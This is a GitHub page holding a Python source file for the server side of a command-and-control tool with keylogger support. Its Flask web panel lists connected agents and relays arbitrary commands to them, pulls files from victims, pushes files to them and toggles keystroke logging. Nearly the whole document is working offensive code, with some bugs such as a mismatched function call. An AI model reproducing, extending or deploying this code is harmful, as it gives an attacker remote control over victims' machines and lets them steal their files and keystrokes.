-
Notifications
You must be signed in to change notification settings - Fork 3
/
threaded_server_c2_keylogger.py
151 lines (122 loc) · 4.81 KB
/
threaded_server_c2_keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from concurrent.futures import thread
from os import close
import socket
import threading,time,flask
from flask import *
from pathlib import Path
ip_address = '127.0.0.1'
port_number = 1236
thread_index = 0
THREADS = []
CMD_INPUT = []
CMD_OUTPUT = []
IPS = []
for i in range(20):
#THREADS.append('')
CMD_INPUT.append('')
CMD_OUTPUT.append('')
IPS.append('')
app = Flask(__name__)
def handle_connection(connection,address,thread_index):
global CMD_OUTPUT
global CMD_INPUT
while CMD_INPUT[thread_index]!='quit':
msg = connection.recv(1024).decode()
CMD_OUTPUT[thread_index] = msg
while True:
if CMD_INPUT[thread_index]!='':
if CMD_INPUT[thread_index].split(" ")[0]=='download':
#download filename
filename = CMD_INPUT[thread_index].split(" ")[1].split("\\")[-1]
print(filename)
cmd = CMD_INPUT[thread_index]
connection.send(cmd.encode())
contents = connection.recv(1024*10000) #sets the file limit to 10MB
f = open(filename,'wb')
f.write(contents)
f.close()
CMD_OUTPUT[thread_index]='File Transferred Successfully'
CMD_INPUT[thread_index]=''
#break
elif CMD_INPUT[thread_index].split(" ")[0]=='upload':
#upload filename 2048
cmd = CMD_INPUT[thread_index]
connection.send(cmd.encode())
filename = CMD_INPUT[thread_index].split(" ")[1]
filesize = CMD_INPUT[thread_index].split(" ")[2]
f = open('.\\output\\'+filename,'rb')
contents = f.read()
f.close()
connection.send(contents)
msg = connection.recv(2048).decode()
if msg == 'got file':
CMD_OUTPUT[thread_index]='File sent successfully!'
CMD_INPUT[thread_index]=''
else:
CMD_OUTPUT[thread_index]='Something went wrong...'
CMD_INPUT[thread_index]=''
elif CMD_INPUT[thread_index] == "keylog on":
cmd = CMD_INPUT[thread_index]
connection.send(cmd.encode())
msg = connection.recv(2048).decode()
CMD_OUTPUT[thread_index]=msg
CMD_INPUT[thread_index]=''
elif CMD_INPUT[thread_index]=='keylog off':
cmd = CMD_INPUT[thread_index]
connection.send(cmd.encode())
msg = connection.recv(2048).decode()
CMD_OUTPUT[thread_index]=msg
CMD_INPUT[thread_index]=''
else:
msg = CMD_INPUT[thread_index]
connection.send(msg.encode())
msg = CMD_INPUT[thread_index]=''
break
close_connection(connection)
def close_connection(connection,thread_index):
connection.close()
THREADS[thread_index]=''
IPS[thread_index]=''
CMD_INPUT[thread_index]=''
CMD_OUTPUT[thread_index]=''
def server_socket():
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ss.bind((ip_address,port_number))
ss.listen(5)
#def init_server():
global THREADS
global IPS
while True:
connection , address = ss.accept()
thread_index = len(THREADS)
t = threading.Thread(target=handle_connection,args=(connection,address,len(THREADS)))
THREADS.append(t)
IPS.append(address)
t.start()
@app.before_first_request
def init_server():
s1 = threading.Thread(target=server_socket)
s1.start()
@app.route("/")
@app.route("/home")
def home():
return render_template('index.html')
@app.route("/agents")
def agents():
return render_template('agents.html',threads=THREADS,ips=IPS)
@app.route("/<agentname>/executecmd")
def executecmd(agentname):
return render_template("execute.html",name=agentname)
@app.route("/<agentname>/execute",methods=['GET','POST'])
def execute(agentname):
if request.method=='POST':
cmd = request.form['command']
for i in THREADS:
if agentname in i.name:
req_index = THREADS.index(i)
CMD_INPUT[req_index]=cmd
time.sleep(1)
cmdoutput = CMD_OUTPUT[req_index]
return render_template('execute.html',cmdoutput=cmdoutput,name=agentname)
if __name__=='__main__':
app.run(debug=True)